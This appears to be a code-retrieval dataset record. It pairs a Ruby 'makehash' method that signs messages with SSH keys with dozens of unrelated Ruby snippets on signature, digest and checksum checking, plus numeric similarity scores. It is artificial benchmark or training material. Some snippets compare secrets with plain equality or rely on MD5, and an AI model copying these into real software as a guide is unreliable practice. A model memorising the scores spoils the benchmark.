"def check_digest(request)\n header = request['Bugsnag-Integrity']\n\n if header.nil? && Maze.config.enforce_bugsnag_integrity && %i[sessions errors traces].include?(@request_type)\n raise \"Bugsnag-Integrity header must be present for #{@request_type} according to Maze.config.enforce_bugsnag_integrity\"\n end\n return if header.nil?\n\n # Header must have type and digest\n parts = header.split ' '\n raise \"Invalid Bugsnag-Integrity header: #{header}\" unless parts.size == 2\n\n # Both digest types are stored whatever\n sha1 = Digest::SHA1.hexdigest(request.body)\n simple = request.body.bytesize\n $logger.trace \"DIGESTS computed: sha1=#{sha1} simple=#{simple}\"\n\n # Check digests match\n case parts[0]\n when 'sha1'\n raise \"Given sha1 #{parts[1]} does not match the computed #{sha1}\" unless parts[1] == sha1\n when 'simple'\n raise \"Given simple digest #{parts[1].inspect} does not match the computed #{simple.inspect}\" unless parts[1].to_i == simple\n else\n raise \"Invalid Bugsnag-Integrity digest type: #{parts[0]}\"\n end\n\n {\n sha1: sha1,\n simple: simple\n }\n end",
"def has_valid_payload?\n\t\treturn self.payload_hash == self.calculate_payload_hash\n\tend",
"def verify_signature\n @req.verify(public_key)\n end",
"def intact?\n @signature.md5 == Digest::MD5.digest(@content)\n end",
"def validate_proxy\n\t\t\t# Remove and save the \"signature\" entry\n\t\t\tsignature = @query.delete(\"signature\")\n\t\t\tsorted_params = @query.collect{ |k, v| \"#{k}=#{Array(v).join(',')}\" }.sort.join\n\t\t\t\n\t\t\tcalculated_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), shared_secret, sorted_params)\n\n\t\t\traise 'Invalid signature' if signature != calculated_signature\n\t\tend",
"def needs_md5sums\n false\n end",
"def check_server_signature(payload_data)\n if verifier = payload_data['v']\n if compare_digest(verifier, server_signature)\n @server_verified = true\n else\n raise Error::InvalidSignature.new(verifier, server_signature)\n end\n end\n end",
"def check(params)\n params = params.dup\n\n signature = params.delete('sig')\n\n ::JWT::SecurityUtils.secure_compare(signature, digest(params))\n end",
"def validate_token_hash; end",
"def verify_md5_hash?(url, expected_hash, secret_key)\n url_no_hash = \"#{url[ 0..-33 ]}#{secret_key}\"\n actual_hash = Digest::MD5.hexdigest(url_no_hash)\n\n return (expected_hash == actual_hash)\n end",
"def valid?\n # If payload does not contain the sha_sign definitely return false.\n return false unless payload.sha_sign\n\n signature == payload.sha_sign\n end",
"def signature_valid?\n hmac.validate_url_signature(request.url, secret)\n end",
"def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_GEOTIX_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, \"#{auth_token}#{@payload_raw}\")\n halt [401, \"Signatures don't match.\"] unless their_digest == our_digest\n end",
"def valid?\n utils = Amazon::FPS::SignatureUtilsForOutbound.new(@access_key, @secret_key);\n utils.validate_request(:parameters => @params, :url_end_point => @url_end_point, :http_method => \"GET\")\n end",
"def cram_md5_challenge; end",
"def valid_signature?\n Rack::Utils.secure_compare(signature, signature_for(body))\n end",
"def can_validate_checksums?\n true\n end",
"def correct_signature?\n client = RestClient.where(:api_key => @api_key).first\n sign=client.nil? ? \"\" : client.secret + @request_uri.gsub(/\\?.*/,\"\")+@timestamp\n calculated_sign= (Digest::SHA256.new << sign).to_s\n Digest::SHA1.hexdigest(@signature)==Digest::SHA1.hexdigest(calculated_sign)\n end",
"def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, ENV['GITHUB_WEBHOOK_SECRET'], @payload_raw)\n halt 401 unless their_digest == our_digest\n\n log_action\n end",
"def verify!(request, secret)\n query = query_string(request, request.params[\"nonce\"])\n unless request.params[\"signature\"] == sign(query, secret)\n raise OauthStateMiddlewareException, \"OAuth state signatures do not match\"\n end\n end",
"def check_message_id_md5\n return true if message_id.blank?\n\n self.message_id_md5 = Digest::MD5.hexdigest(message_id.to_s)\n end",
"def verify_signatures?; end",
"def valid_AmazonMarketplace_request?(request_hash)\n hash = request_hash.symbolize_keys\n signature = hash.delete(:signature) || ''\n AmazonMarketplace::SignatureUtils.authentic?(hash, signature)\n end",
"def _verify\n unless (@_headers['x-allopass-response-signature'] || []).include?(@_signature)\n raise Allorails::ApiFalseResponseSignatureError\n end\n end",
"def check_email_hash\n if self.class.column_names.include?(\"email_hash\")\n if email_changed?\n require 'digest/md5'\n self.email_hash = Digest::MD5.hexdigest(self.email.to_s.downcase.strip)\n end\n end\n end",
"def validate_image_md5sum\n result = true\n if upload_md5sum.present? && save_to_temp_file\n sum = File.open(upload_temp_file) do |f|\n Digest::MD5.hexdigest(f.read)\n end\n if sum == upload_md5sum\n result = true\n else\n errors.add(:image, :validate_image_md5_mismatch.\n t(actual: sum.split.first, expect: upload_md5sum))\n result = false\n end\n end\n result\n end",
"def validate_checksum?\n self[:checksum] !~ /time/\n end",
"def verify_authenticity_token; end",
"def validate_request req\n id, method, params = req.id, req.method.sub(/^block\\./,''), req.params\n\n case method\n when \"notify\"\n coin_code, password, hash = *params\n raise Rpc::InvalidParams.new( extra_msg: \"coin_code is invalid : #{coin_code}\" ) if ! coin_code =~ /^\\w{3,5}$/\n else\n raise JSON_RPC::MethodNotFound.new( method: \"block.#{method}\" )\n end\n\n emit( method, req )\n\n true\n end",
"def validate_checksum_state\n super\n end",
"def security_key\n params['x_MD5_Hash']\n end",
"def security_key\n params['x_MD5_Hash']\n end",
"def verify_params(params)\n return false if params['Body'].to_s.empty?\n return false if params['Body'].to_s.bytes.size > 1600\n return false unless /\\+\\d+$/.match(params['To'])\n true\n end",
"def validate!(payload:, state:)\n return @error = 'payload is not a hash' unless payload.is_a? Hash\n\n key = 'persona:payload'\n return @error = \"payload missing key #{key}\" unless payload.key? key\n\n @payload = decode_and_parse_payload(payload)\n return @error = 'payload is not valid JSON' if @payload.nil?\n\n state_error = 'payload state does not match provided'\n return @error = state_error if @payload['state'] != state\n\n signature_error = 'payload signature does not match expected'\n return @error = signature_error unless signature_valid?(@payload)\n\n @user = build_user(@payload)\n end",
"def verify_hash\r\n raise \"Line #{total_block_number}: hash was incorrectly calculated\" unless @current_hash == @computed_hash\r\n\r\n true\r\n end",
"def verify_key; end",
"def verify_key; end",
"def body_hash_required?\n false\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def webhook_valid?(transaction, ip)\n sanity_check!\n md5sum = Digest::MD5.hexdigest([\n id,\n transaction[:tr_id],\n transaction[:tr_amount],\n transaction[:tr_crc],\n security_code\n ].join)\n Tpay.valid_ip?(ip) && transaction[:md5sum] == md5sum\n end",
"def check\n @response = nil\n verified?\n end",
"def signature_ok?\n generate_md5 == vps_signature\n end",
"def verification_hash_verified\n verified = false\n hash = VerificationHash.where(hash_value: params[:hash]).last\n verified = hash.verified if hash\n render json: { verified: verified }, status: 200\n end",
"def valid_request?\n signature = github_signature\n my_signature = 'sha1=' + OpenSSL::HMAC.hexdigest(\n OpenSSL::Digest.new('sha1'),\n ENV['GITHUB_WEBHOOK_SECRET'],\n github_payload_raw\n )\n\n json_response(json_access_denied, :unauthorized) unless Rack::Utils.secure_compare(my_signature, signature)\n rescue StandardError => e\n msg = \"#{self.class}##{__method__} An error occurred while determine if request is valid\"\n Rails.logger.error(\n message: msg,\n exception: e\n )\n\n json_response(json_access_denied(errors: { message: \"#{msg}, exception: #{e.message}\" }), :unauthorized)\n end",
"def verify_request(request)\n verify_signature(\n # url without query string\n request.protocol + request.host_with_port + request.path,\n # raw parameters\n request.get? ? request.query_string : request.raw_post\n )\n end",
"def check_hash=(flag)\r\n @conf[:use_md5_digest] = flag\r\n end",
"def validate_and_sanitize\n r = validate\n return invalid_credentials_response('a_ar_b_vas_1') unless r.success?\n\n @parsed_request_time = Time.at(@request_timestamp.to_i)\n\n return invalid_credentials_response(\"um_vac_1\") unless @parsed_request_time && (@parsed_request_time.between?(Time.now - expiry_window, Time.now + expiry_window))\n\n @request_parameters.permit!\n\n [\"signature\"].each do |k|\n @request_parameters.delete(k)\n end\n\n success\n end",
"def verify\n end",
"def valid?\n @hydra.queue(request('verify'))\n end",
"def validate_digest_response(request, realm, &password_procedure)\n credentials = decode_credentials_header(request)\n valid_nonce = validate_nonce(request, credentials[:nonce])\n\n if valid_nonce && realm == credentials[:realm] && opaque == credentials[:opaque]\n password = password_procedure.call(credentials[:username])\n method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']\n\n [true, false].any? do |password_is_ha1|\n expected = expected_response(method, request.env['REQUEST_URI'], credentials, password, password_is_ha1)\n expected == credentials[:response]\n end\n end\n end",
"def verify_signature\n @spki.verify(public_key)\n end",
"def md5_query\n params.require(:query)\n end",
"def validate_reset_token\n\n return invalid_url_error('um_rp_4') if @user_validation_hash_obj.blank?\n\n return invalid_url_error('um_rp_5') if @user_validation_hash_obj.validation_hash != @reset_token\n\n return invalid_url_error('um_rp_6') if @user_validation_hash_obj.status != GlobalConstant::UserValidationHash.active_status\n\n return invalid_url_error('um_rp_7') if @user_validation_hash_obj.is_expired?\n\n return invalid_url_error('um_rp_8') if @user_validation_hash_obj.kind != GlobalConstant::UserValidationHash.reset_password\n\n success\n\n end",
"def md5?; @md5; end",
"def verify()\n # TODO\n end",
"def line_bot_auth\n body = request.body.read\n\n signature = request.env['HTTP_X_LINE_SIGNATURE']\n unless client.validate_signature(body, signature)\n puts \"Error: bad_request. Line invalidate signature.\"\n bad_request\n end\n end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def verify_signature(result); end",
"def check_digests(streamer_response:, file_model:)\n out = streamer_response\n upload = file_model\n if out[:response].nil? || out[:response][:checksum].nil?\n raise FileError, \"Error streaming file to Zenodo. No md5 digest returned:\\n#{out[:response]}\\nFile:#{upload.inspect}\"\n end\n\n if out[:response][:checksum] != \"md5:#{out[:digests]['md5']}\"\n raise FileError, \"Error MD5 digest doesn't match zenodo:\\nResponse: #{out[:response][:checksum]}\\nCalculated: md5:#{out[:digests]['md5']}\"\n end\n\n return unless upload.digest_type.present? && upload.digest.present? && out[:digests][upload.digest_type] != upload.digest\n\n raise FileError, \"Error #{upload.digest_type} digest doesn't match database value:\\nCalculated:#{out[:digests][upload.digest_type]}\\n\" \\\n \"Database: #{upload.digest}\"\n end",
"def request_signature_verification\n return @request_signature_verification\n end",
"def secure?\n self.generated_signature == self.signature\n end",
"def hashes_match?\n ar = @ar.clone\n\n digest_value = ar.at_css(\n 'xmlns|DigestValue',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content.strip\n\n ar.at_css(\n \"xmlns|Signature\",\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).remove\n\n actual_digest = calculate_digest(ar)\n\n if digest_value == actual_digest\n true\n else\n false\n end\n end",
"def verify_state?(state)\n return false if state.nil? || state.empty?\n Rack::Utils.secure_compare(csrf_token, state)\nend",
"def verify!(ha)\n passed_signature = ha[:sig] || ha[\"sig\"]\n raise Tampered, \"No signature given\" unless passed_signature\n raise Tampered, \"Checksum differs\" unless compute_checksum(ha) == passed_signature.to_s\n true\n end",
"def md5_of_message_attributes\n data[:md5_of_message_attributes]\n end",
"def passive\t\t\n\tif @body.size > 4\n\t\thash=Digest::MD5.hexdigest(@body[0..500])\t\n\t\t[{:name=>\"hash\",:string=>hash}]\n\telse\n\t\t[]\n\tend\nend",
"def validate_hash(info)\r\n\t\t# passes in the parsed info\r\n\t\tstring_to_hash = get_string_to_hash(info)\r\n\t\tcorrect_hash = get_hash(string_to_hash)\r\n\t\t#puts string_to_hash\r\n\t\treturn correct_hash.strip == info['self_hash'].strip\r\n\tend",
"def verify_check_string(data)\n # The documentation about how to calculate the hash was woefully\n # under-documented, however through some guessing I was able to\n # determine that it creates an MD5 from the values of the fields\n # starting with OrderID and ending with TranData, concatenated with\n # the Shop Password.\n fields = [\n 'OrderID',\n 'Forward',\n 'Method',\n 'PayTimes',\n 'Approve',\n 'TranID',\n 'TranDate'\n ]\n values_string = ''\n check_string = nil\n\n CGI.parse(data).each do |key, value|\n if value.length == 1\n value = value[0]\n end\n if fields.include?(key)\n values_string += value\n end\n if key == 'CheckString'\n check_string = value\n end\n end\n values_string += @options[:password]\n our_hash = Digest::MD5.hexdigest(values_string)\n check_string == our_hash\n end",
"def verify\n @sigs = []\n @orig_data = request.params['data']\n if @orig_data.nil?\n # XXX: Implement HTTP error here.\n end\n begin\n GPGME::verify(request.params['data'], nil, @plain) do |signature|\n @sigs << signature\n end\n rescue GPGME::Error => e\n @error = \"GPGME Error: #{e.to_s}\"\n #rescue\n # @error = \"Unspecified Error.\"\n end\n end",
"def verify_signature(data)\n Signature.valid?(data.merge('api_key' => api_key))\n end",
"def check_signature(secret)\n digest = OpenSSL::Digest::SHA256.new\n expected = OpenSSL::HMAC.hexdigest(digest, secret, @body)\n if @signature == expected\n return true\n else\n Pusher.logger.warn \"Received WebHook with invalid signature: got #{@signature}, expected #{expected}\"\n return false\n end\n end",
"def verify_slack_request\n timestamp = request.headers['X-Slack-Request-Timestamp']\n if (Time.now.to_i - timestamp.to_i).abs > 60 * 5\n head :unauthorized\n return\n end\n\n sig_basestring = \"v0:#{timestamp}:#{request.raw_post}\"\n signature = \"v0=\" + OpenSSL::HMAC.hexdigest(\"SHA256\", ENV['SLACK_SIGNING_SECRET'], sig_basestring)\n slack_signature = request.headers['X-Slack-Signature']\n\n if !ActiveSupport::SecurityUtils.secure_compare(signature, slack_signature)\n head :unauthorized\n end\n end"
] |
[
"0.7140919",
"0.67846555",
"0.6614199",
"0.6251338",
"0.61787",
"0.6146564",
"0.60464036",
"0.60281795",
"0.5989374",
"0.59876317",
"0.59870374",
"0.59769547",
"0.59695894",
"0.5955319",
"0.59323215",
"0.5924838",
"0.5903066",
"0.57813275",
"0.57412064",
"0.5728396",
"0.5682616",
"0.56817424",
"0.56817424",
"0.5660507",
"0.5649375",
"0.5645152",
"0.5632109",
"0.5630461",
"0.5629536",
"0.5602284",
"0.5552585",
"0.5545878",
"0.5545082",
"0.5533288",
"0.5528792",
"0.5527782",
"0.55230117",
"0.54860777",
"0.54801637",
"0.5479413",
"0.54729545",
"0.54586405",
"0.5415125",
"0.5404682",
"0.53958297",
"0.5392614",
"0.5387079",
"0.5373143",
"0.5366822",
"0.53630185",
"0.53597873",
"0.5354785",
"0.5347639",
"0.5347072",
"0.5333399",
"0.5330477",
"0.5329165",
"0.5326089",
"0.53240156",
"0.5317619",
"0.531641",
"0.531641",
"0.531259",
"0.5309943",
"0.5309943",
"0.5309943",
"0.5309943",
"0.5302783",
"0.52979136",
"0.52856857",
"0.5283971",
"0.5277875",
"0.52757144",
"0.5272318",
"0.52693266",
"0.525567",
"0.52411497",
"0.5240135",
"0.52380085",
"0.52367795",
"0.5231966",
"0.52294576",
"0.52263737",
"0.5224289",
"0.5222528",
"0.52097464",
"0.52036583",
"0.5203229",
"0.51974607",
"0.5194796",
"0.5192643",
"0.51889825",
"0.518077",
"0.51778436",
"0.5160673",
"0.51595795",
"0.5159452",
"0.51576865",
"0.51538163",
"0.5152469"
] |
0.59036195
|
16
|
Signs a message. If 'public.sshkey' is set, then we will sign with only that key. Otherwise, we will sign with your sshagente.
|
def makehash(body)
signer = SSH::Key::Signer.new
if @config.pluginconf["sshkey"]
signer.add_key_file(@config.pluginconf["sshkey"])
signer.use_agent = false
end
signatures = signer.sign(body).collect { |s| s.signature }
return Marshal.dump(signatures)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sign(message)\n Ed25519.provider.sign(@keypair, message)\n end",
"def sign(message); end",
"def sign(message, private_key)\n msg_point = BLS.norm_p2h(message)\n msg_point * BLS.normalize_priv_key(private_key)\n end",
"def sign(message)\n OpenSSL::HMAC.digest('SHA256', @key, message)\n end",
"def sign(message, privkey)\n group = ECDSA::Group::Secp256k1\n digest = Digest::SHA256.digest(message)\n signature = nil\n while signature.nil?\n temp_key = 1 + SecureRandom.random_number(group.order - 1)\n signature = ECDSA.sign(group, privkey.to_i(16), digest, temp_key)\n return ECDSA::Format::SignatureDerString.encode(signature).unpack(\"H*\").first\n end\n end",
"def sign(msg)\n Digest::SHA1.hexdigest(@secret + msg)\n end",
"def sign_key; end",
"def sign(message, foreign_keys)\n raise ArgumentError \"Foreign keys must all have the same hasher\" unless foreign_keys.all?{ |e| e.hasher == hasher }\n\n message_digest = hasher.hash_string(message)\n seed = hasher.hash_array([value, message_digest])\n\n all_keys = hasher.shuffle([self] + foreign_keys, seed)\n\n q_array, w_array = generate_q_w(all_keys, seed)\n ll_array, rr_array = generate_ll_rr(all_keys, q_array, w_array)\n challenge = hasher.hash_array([message_digest] + ll_array + rr_array)\n c_array, r_array = generate_c_r(all_keys, q_array, w_array, challenge)\n\n public_keys = all_keys.map(&:public_key)\n signature = Signature.new(key_image, c_array, r_array, hasher)\n\n [signature, public_keys]\n end",
"def sign( key, data )\n blob = @buffers.writer\n blob.write_key key\n\n packet_data = @buffers.writer\n packet_data.write_string blob.to_s\n packet_data.write_string data.to_s\n packet_data.write_long 0\n\n type, reply = send_with_reply SSH2_AGENT_SIGN_REQUEST, packet_data\n if agent_failed( type )\n raise AgentError,\n \"agent could not sign data with requested identity\"\n elsif type != SSH2_AGENT_SIGN_RESPONSE\n raise AgentError, \"bad authentication response #{type}\"\n end\n\n return reply.read_string\n end",
"def sign(string)\n @key.sign OpenSSL::Digest::SHA256.new, string\n end",
"def sign(private_key)\n # Our multiline hash for authorization will be encoded in multiple header\n # lines - X-Ops-Authorization-1, ... (starts at 1, not 0!)\n header_hash = {\n \"X-Ops-Sign\" => SIGNING_DESCRIPTION,\n \"X-Ops-Userid\" => user_id,\n \"X-Ops-Timestamp\" => canonical_time,\n \"X-Ops-Content-Hash\" => hashed_body,\n }\n\n string_to_sign = canonicalize_request\n signature = Base64.encode64(private_key.private_encrypt(string_to_sign)).chomp\n signature_lines = signature.split(/\\n/)\n signature_lines.each_index do |idx|\n key = \"X-Ops-Authorization-#{idx + 1}\"\n header_hash[key] = signature_lines[idx]\n end\n \n Mixlib::Authentication::Log.debug \"String to sign: '#{string_to_sign}'\\nHeader hash: #{header_hash.inspect}\"\n \n header_hash\n end",
"def sign( identity, data )\n info = find_identity( identity )\n\n if info[:key].nil? && info[:from] == :file\n begin\n info[:key] = @keys.load_private_key( info[:file] )\n rescue Exception => e \n raise UserKeyManagerError,\n \"the given identity is known, \" +\n \"but the private key could not be loaded \" +\n \"(#{e.message} [#{e.class}])\"\n end\n end\n\n if info[:key]\n sig_blob = @buffers.writer\n sig_blob.write_string identity.ssh_type\n sig_blob.write_string info[:key].ssh_do_sign( data.to_s )\n return sig_blob.to_s\n end\n\n if info[:from] == :agent\n raise UserKeyManagerError,\n \"the agent is no longer available\" unless @agent\n return @agent.sign( identity, data.to_s )\n end\n\n raise UserKeyManagerError,\n \"[BUG] can't determine identity origin (#{info.inspect})\"\n end",
"def sign(params)\n string = params_to_string(params)\n\n case @sign_type\n when 'RSA'\n ::Alipay::Sign::RSA.sign(@app_private_key, string)\n when 'RSA2'\n ::Alipay::Sign::RSA2.sign(@app_private_key, string)\n else\n raise \"Unsupported sign_type: #{@sign_type}\"\n end\n end",
"def signmessage(bitcoinaddress, message)\n @api.request 'signmessage', bitcoinaddress, message\n end",
"def sign!(key, sign_nonce = T.unsafe(nil)); end",
"def sign(t_outputs)\n # binding.pry\n Base64.encode64(private_key.sign(OpenSSL::Digest::SHA256.new, t_outputs.to_json))\n end",
"def get_secure_signature(message)\n digest = OpenSSL::Digest.new('SHA256')\n Base64.strict_encode64(private_key.sign(digest, message))\n end",
"def sign\n write_attr('mid', SecureRandom.uuid)\n write_attr('ts', Time.now.utc.to_i)\n canonical_msg = self.canonicalize\n\n #priv_key = OmfCommon::Key.instance.private_key\n #digest = OpenSSL::Digest::SHA512.new(canonical_msg)\n\n #signature = Base64.encode64(priv_key.sign(digest, canonical_msg)).encode('utf-8') if priv_key\n #write_attr('digest', digest)\n #write_attr('signature', signature) if signature\n\n if OmfCommon::Measure.enabled?\n MPMessage.inject(Time.now.to_f, operation.to_s, mid, cid, self.to_s.gsub(\"\\n\",''))\n @@mid_list << mid\n end\n self\n end",
"def sign_then_encrypt(bytes, private_key, *public_keys)\n bytes = Validation.check_filled_array_argument!(bytes)\n private_key = Validation.check_type_argument!(VirgilPrivateKey, private_key)\n\n begin\n cipher = Core::VirgilCipher.new\n custom_bytes = cipher.custom_params\n custom_bytes.set_data(\n CUSTOM_PARAM_KEY_SIGNATURE,\n generate_signature(bytes, private_key)\n )\n\n public_key = extract_public_key(private_key)\n custom_bytes.set_data(\n CUSTOM_PARAM_KEY_SIGNER_ID,\n wrap_bytes(public_key.id)\n )\n encrypt_for_recipients(bytes, cipher, public_keys)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n end",
"def sign(signed_data, algo: nil)\n algo ||= self.algo\n raise AlgorithmError unless algo == self.algo\n openssl_sig = openssl.sign(public_key.digest.new, signed_data)\n raw_sig = PublicKey::ECDSA.ssh_signature(openssl_sig)\n Encoding.encode_signature(algo, raw_sig)\n end",
"def sign(key, string)\n SSL.new(nil, key).sign(string, true)\n end",
"def encrypt_and_sign(value, **options)\n create_message(value, **options)\n end",
"def ssh_signature_type; end",
"def ssh_signature_type; end",
"def ssh_signature_type; end",
"def sign_params(params, key)\n msg = Utils.normalize_params(params)\n digest = OpenSSL::Digest.new('sha256')\n OpenSSL::HMAC.hexdigest(digest, key, msg)\n end",
"def sign(path)\n status \"Signing #{File.basename(path)} ...\"\n\n run 'gpg', '--sign', '--detach-sign', '--armor', path\n end",
"def sign(data, key, options = {})\n raise KeyError.new(\"Please provide a secret key to sign data with.\") unless key\n options = settings[:sign].merge(options)\n digest = OpenSSL::Digest.new(options[:algorithm])\n signature = OpenSSL::HMAC.digest(digest, key, data)\n encode(signature, options)\n end",
"def sign_and_encrypt_encapsulated(message)\n sign(message)\n encrypt(message)\n end",
"def sign(cmd)\n \t\t\t\tiv = rand(0xffffffff).to_i.to_s(16).upcase.rjust(8,\"0\")\n \t\t\t\tdigest = Digest::MD5.hexdigest(cmd+iv).upcase\n \t\t\t\tsb = [@signature_block + digest].pack(\"h*\")\n \t\t\t\tsig = @signingkey_priv.private_encrypt(sb).unpack(\"h*\")[0].upcase\n \t\t\t\t# i haven't a clue what those numbers are on the front, 10|3|22\n \t\t\t\t\"10|3|22|#{cmd}|#{sig}|#{iv}\"\n \t\t\tend",
"def sign(string, base64=false)\n sig = @private_key.sign(OpenSSL::Digest.new(\"SHA1\"), string)\n\n base64 ? base64_encode(sig) : sig\n end",
"def sign(private_key, chain_id)\n ctx = Secp256k1::Context.new\n signature, recovery_id = ctx.sign_recoverable(private_key, hash).compact\n result = signature.bytes\n result = result.append(Chains.to_v(recovery_id, chain_id))\n result.pack('c*')\n end",
"def sign!\n params = {\n :if_updated_at => @contract.content_updated_at\n }\n\n response = @client.put self.url, { :body => params.to_json, :headers => { 'Content-Type' => 'application/json' } }\n\n if response.status != 201\n raise Inkdit::Error.new(response)\n end\n\n Inkdit::Signature.new(@client, response.parsed)\n end",
"def sign(data)\n @key.sign(@algo.new, data)\n end",
"def sign_request(options)\n options.merge!(:pub => @api_key)\n options.merge!(:key => Digest::MD5.hexdigest(@api_secret + @api_key))\n end",
"def sign(data)\n key.dsa_sign_asn1(data)\n end",
"def sign(private_key, chain_id)\n ctx = Secp256k1::Context.new\n signature, recovery_id = ctx.sign_recoverable(private_key, hash).compact\n result = signature.bytes\n result = result.append(Chains.to_v(recovery_id, chain_id))\n result.pack('c*')\n end",
"def compute_signature(env)\n message = BuildMessage.new(env).build!\n HmacSignature.new(shared_key(env), message).sign\n end",
"def sign(str)\n @signer.sign(str) unless str.nil? || str.empty?\n end",
"def ssh_public=(key_content)\n @ssh_public_file = temp_file_manager.path('key.pub')\n IO.write(@ssh_public_file, key_content)\n end",
"def sign()\n # TODO\n end",
"def sign data\n return unless @key\n\n @key.sign @digest_algorithm.new, data\n end",
"def sign(params, shared_secret = nil)\n shared_secret ||= params.delete['sharedSecret']\n raise ArgumentError, \"Cannot verify a signature without a shared secret\" unless shared_secret\n sig = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), Array(shared_secret).pack(\"H*\"), string_to_sign(params))\n params.merge('merchantSig' => Base64.encode64(sig).strip)\n end",
"def send_key\n ssh_options = SSH_OPTIONS.map { |k,v| \"-o #{k}=#{v}\" }.join(' ')\n res = `ssh-copy-id #{ssh_options} -i #{@key} #{@name}#{SUFFIX}`\n puts \"Could not send key to #{@name}\" unless $?.success?\n end",
"def sshkey_params\n params.require(:sshkey).permit(:user_id, :key, :keytype)\n end",
"def sign(message, encoding = :raw)\n buffer = Util.prepend_zeros(NaCl::SIGNATUREBYTES, message)\n buffer_len = Util.zeros(FFI::Type::LONG_LONG.size)\n\n NaCl.crypto_sign(buffer, buffer_len, message, message.bytesize, @signing_key)\n\n signature = buffer[0, NaCl::SIGNATUREBYTES]\n Encoder[encoding].encode(signature)\n end",
"def verify_signature\n @spki.verify(public_key)\n end",
"def sign(headers, body)\n\n data =\n [\n 'POST', '/', '',\n headers.to_a.collect { |k, v| \"#{k.downcase}:#{v}\\n\" }.sort.join,\n body\n ].join(\"\\n\")\n\n sig =\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('SHA256'),\n @sak,\n OpenSSL::Digest::SHA256.digest(data))).strip\n sigh =\n headers.keys.sort.join(';')\n\n [\n \"AWS3 AWSAccessKeyId=#{@aki}\",\n \"Algorithm=HmacSHA256\",\n \"SignedHeaders=#{sigh}\",\n \"Signature=#{sig}\"\n ].join(',')\n end",
"def sign!\n @signed_date_time = Time.now.utc.strftime('%Y-%m-%dT%H:%M:%SZ')\n @signature = Cybersource::Security.generate_signature(signed_data)\n\n self\n end",
"def sign_with(secret)\n #puts \"Signing #{string_to_sign.inspect} with #{secret.inspect}\"\n digest = OpenSSL::Digest.new('sha256')\n Base64.encode64(OpenSSL::HMAC.digest(digest, secret, string_to_sign)).strip\n end",
"def rsaes_pkcs_signature(key, input)\n private_key = if BSON::Environment.jruby?\n # JRuby cannot read DER format, we need to convert key into PEM first.\n key_pem = [\n \"-----BEGIN PRIVATE KEY-----\",\n Base64.strict_encode64(Base64.decode64(key)).scan(/.{1,64}/),\n \"-----END PRIVATE KEY-----\",\n ].join(\"\\n\")\n OpenSSL::PKey::RSA.new(key_pem)\n else\n OpenSSL::PKey.read(Base64.decode64(key))\n end\n private_key.sign(OpenSSL::Digest::SHA256.new, input)\n end",
"def sign!(request,options = {})\n consumer.sign!(request,self,options)\n end",
"def sign(secret_key_base, salt, data, options = {})\n encoded = encode(data, options)\n key = get_secret(secret_key_base, salt, options)\n MessageVerifier.sign(encoded, key)\n end",
"def create_ssh(private_key:, **args)\n\t\t\t\t\tjson_body = {\n\t\t\t\t\t\t'' => '1',\n\t\t\t\t\t\tcredentials: args.merge(\n\t\t\t\t\t\t\tprivateKeySource: {\n\t\t\t\t\t\t\t\tvalue: '0',\n\t\t\t\t\t\t\t\tprivateKey: private_key,\n\t\t\t\t\t\t\t\t'stapler-class' => 'com.cloudbees.jenkins.plugins.sshcredentials.impl.'\\\n\t\t\t\t\t\t\t\t\t'BasicSSHUserPrivateKey$DirectEntryPrivateKeySource'\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t'$class' => 'com.cloudbees.jenkins.plugins.sshcredentials.impl.'\\\n\t\t\t\t\t\t\t\t'BasicSSHUserPrivateKey'\n\t\t\t\t\t\t)\n\t\t\t\t\t}.to_json\n\t\t\t\t\tcreate_(\"json=#{::CGI.escape json_body}\")\n\t\t\t\tend",
"def sign_legacy(private_key)\n ctx = Secp256k1::Context.new\n signature, recovery_id = ctx.sign_recoverable(private_key, hash).compact\n result = signature.bytes\n result = result.append(27 + recovery_id)\n result.pack('c*')\n end",
"def sshkey_params\n\t\tparams.require(:sshkey).permit(:user_id, :key)\n\tend",
"def signature\n subject = self.class.sig_subject([@payload,\n DATA_TYPE,\n ENCODING,\n ALGORITHM])\n @rsa_pkey.sign(DIGEST, subject)\n end",
